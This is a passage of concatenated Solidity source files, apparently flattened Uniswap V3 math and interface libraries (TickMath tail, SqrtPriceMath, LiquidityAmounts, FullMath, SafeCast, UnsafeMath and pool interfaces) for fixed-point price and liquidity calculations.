let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.5.0;
import './LowGasSafeMath.sol';
import './SafeCast.sol';
import './FullMath.sol';
import './UnsafeMath.sol';
import './FixedPoint96.sol';
/// @title Functions based on Q64.96 sqrt price and liquidity
/// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas
library SqrtPriceMath {
using LowGasSafeMath for uint256;
using SafeCast for uint256;
/// @notice Gets the next sqrt price given a delta of token0
/// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least
/// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the
/// price less in order to not send too much output.
/// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),
/// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).
/// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta
/// @param liquidity The amount of usable liquidity
/// @param amount How much of token0 to add or remove from virtual reserves
/// @param add Whether to add or remove the amount of token0
/// @return The price after adding or removing amount, depending on add
function getNextSqrtPriceFromAmount0RoundingUp(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amount,
bool add
) internal pure returns (uint160) {
// we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price
if (amount == 0) return sqrtPX96;
uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;
if (add) {
uint256 product;
if ((product = amount * sqrtPX96) / amount == sqrtPX96) {
uint256 denominator = numerator1 + product;
if (denominator >= numerator1)
// always fits in 160 bits
return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));
}
return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));
} else {
uint256 product;
// if the product overflows, we know the denominator underflows
// in addition, we must check that the denominator does not underflow
require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product);
uint256 denominator = numerator1 - product;
return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();
}
}
/// @notice Gets the next sqrt price given a delta of token1
/// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least
/// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the
/// price less in order to not send too much output.
/// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity
/// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta
/// @param liquidity The amount of usable liquidity
/// @param amount How much of token1 to add, or remove, from virtual reserves
/// @param add Whether to add, or remove, the amount of token1
/// @return The price after adding or removing `amount`
function getNextSqrtPriceFromAmount1RoundingDown(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amount,
bool add
) internal pure returns (uint160) {
// if we're adding (subtracting), rounding down requires rounding the quotient down (up)
// in both cases, avoid a mulDiv for most inputs
if (add) {
uint256 quotient =
(
amount <= type(uint160).max
? (amount << FixedPoint96.RESOLUTION) / liquidity
: FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)
);
return uint256(sqrtPX96).add(quotient).toUint160();
} else {
uint256 quotient =
(
amount <= type(uint160).max
? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)
: FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)
);
require(sqrtPX96 > quotient);
// always fits 160 bits
return uint160(sqrtPX96 - quotient);
}
}
/// @notice Gets the next sqrt price given an input amount of token0 or token1
/// @dev Throws if price or liquidity are 0, or if the next price is out of bounds
/// @param sqrtPX96 The starting price, i.e., before accounting for the input amount
/// @param liquidity The amount of usable liquidity
/// @param amountIn How much of token0, or token1, is being swapped in
/// @param zeroForOne Whether the amount in is token0 or token1
/// @return sqrtQX96 The price after adding the input amount to token0 or token1
function getNextSqrtPriceFromInput(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amountIn,
bool zeroForOne
) internal pure returns (uint160 sqrtQX96) {
require(sqrtPX96 > 0);
require(liquidity > 0);
// round to make sure that we don't pass the target price
return
zeroForOne
? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true)
: getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true);
}
/// @notice Gets the next sqrt price given an output amount of token0 or token1
/// @dev Throws if price or liquidity are 0 or the next price is out of bounds
/// @param sqrtPX96 The starting price before accounting for the output amount
/// @param liquidity The amount of usable liquidity
/// @param amountOut How much of token0, or token1, is being swapped out
/// @param zeroForOne Whether the amount out is token0 or token1
/// @return sqrtQX96 The price after removing the output amount of token0 or token1
function getNextSqrtPriceFromOutput(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amountOut,
bool zeroForOne
) internal pure returns (uint160 sqrtQX96) {
require(sqrtPX96 > 0);
require(liquidity > 0);
// round to make sure that we pass the target price
return
zeroForOne
? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false)
: getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false);
}
/// @notice Gets the amount0 delta between two prices
/// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper),
/// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The amount of usable liquidity
/// @param roundUp Whether to round the amount up or down
/// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices
function getAmount0Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity,
bool roundUp
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;
uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96;
require(sqrtRatioAX96 > 0);
return
roundUp
? UnsafeMath.divRoundingUp(
FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96),
sqrtRatioAX96
)
: FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96;
}
/// @notice Gets the amount1 delta between two prices
/// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The amount of usable liquidity
/// @param roundUp Whether to round the amount up, or down
/// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices
function getAmount1Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity,
bool roundUp
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
roundUp
? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96)
: FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Helper that gets signed token0 delta
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The change in liquidity for which to compute the amount0 delta
/// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices
function getAmount0Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
int128 liquidity
) internal pure returns (int256 amount0) {
return
liquidity < 0
? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()
: getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();
}
/// @notice Helper that gets signed token1 delta
/// @param sqrtRatioAX96 A sqrt price
/// @param sqrtRatioBX96 Another sqrt price
/// @param liquidity The change in liquidity for which to compute the amount1 delta
/// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices
function getAmount1Delta(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
int128 liquidity
) internal pure returns (int256 amount1) {
return
liquidity < 0
? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()
: getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
library PositionKey {
/// @dev Returns the key of the position in the core library
function compute(
address owner,
int24 tickLower,
int24 tickUpper
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(owner, tickLower, tickUpper));
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import '@uniswap/v3-core/contracts/libraries/FullMath.sol';
import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol';
/// @title Liquidity amount functions
/// @notice Provides functions for computing liquidity amounts from token amounts and prices
library LiquidityAmounts {
/// @notice Downcasts uint256 to uint128
/// @param x The uint258 to be downcasted
/// @return y The passed value, downcasted to uint128
function toUint128(uint256 x) private pure returns (uint128 y) {
require((y = uint128(x)) == x);
}
/// @notice Computes the amount of liquidity received for a given amount of token0 and price range
/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount0 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount0(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);
return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the amount of liquidity received for a given amount of token1 and price range
/// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)).
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount1 The amount1 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount1(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount of token0 being sent in
/// @param amount1 The amount of token1 being sent in
/// @return liquidity The maximum amount of liquidity received
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
/// @notice Computes the amount of token0 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
function getAmount0ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) / sqrtRatioAX96;
}
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Computes the token0 and token1 value for a given amount of liquidity, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCastExtended {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(
value >= -2**127 && value < 2**127,
"SafeCast: value doesn't fit in 128 bits"
);
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(
value >= -2**63 && value < 2**63,
"SafeCast: value doesn't fit in 64 bits"
);
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(
value >= -2**31 && value < 2**31,
"SafeCast: value doesn't fit in 32 bits"
);
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(
value >= -2**15 && value < 2**15,
"SafeCast: value doesn't fit in 16 bits"
);
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(
value >= -2**7 && value < 2**7,
"SafeCast: value doesn't fit in 8 bits"
);
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.0;
/// @title Optimized overflow and underflow safe math operations
/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Safe casting methods
/// @notice Contains methods for safely casting between types
library SafeCast {
/// @notice Cast a uint256 to a uint160, revert on overflow
/// @param y The uint256 to be downcasted
/// @return z The downcasted integer, now type uint160
function toUint160(uint256 y) internal pure returns (uint160 z) {
require((z = uint160(y)) == y);
}
/// @notice Cast a int256 to a int128, revert on overflow or underflow
/// @param y The int256 to be downcasted
/// @return z The downcasted integer, now type int128
function toInt128(int256 y) internal pure returns (int128 z) {
require((z = int128(y)) == y);
}
/// @notice Cast a uint256 to a int256, revert on overflow
/// @param y The uint256 to be casted
/// @return z The casted integer, now type int256
function toInt256(uint256 y) internal pure returns (int256 z) {
require(y < 2**255);
z = int256(y);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math functions that do not check inputs or outputs
/// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks
library UnsafeMath {
/// @notice Returns ceil(x / y)
/// @dev division by 0 has unspecified behavior, and must be checked externally
/// @param x The dividend
/// @param y The divisor
/// @return z The quotient, ceil(x / y)
function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := add(div(x, y), gt(mod(x, y), 0))
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
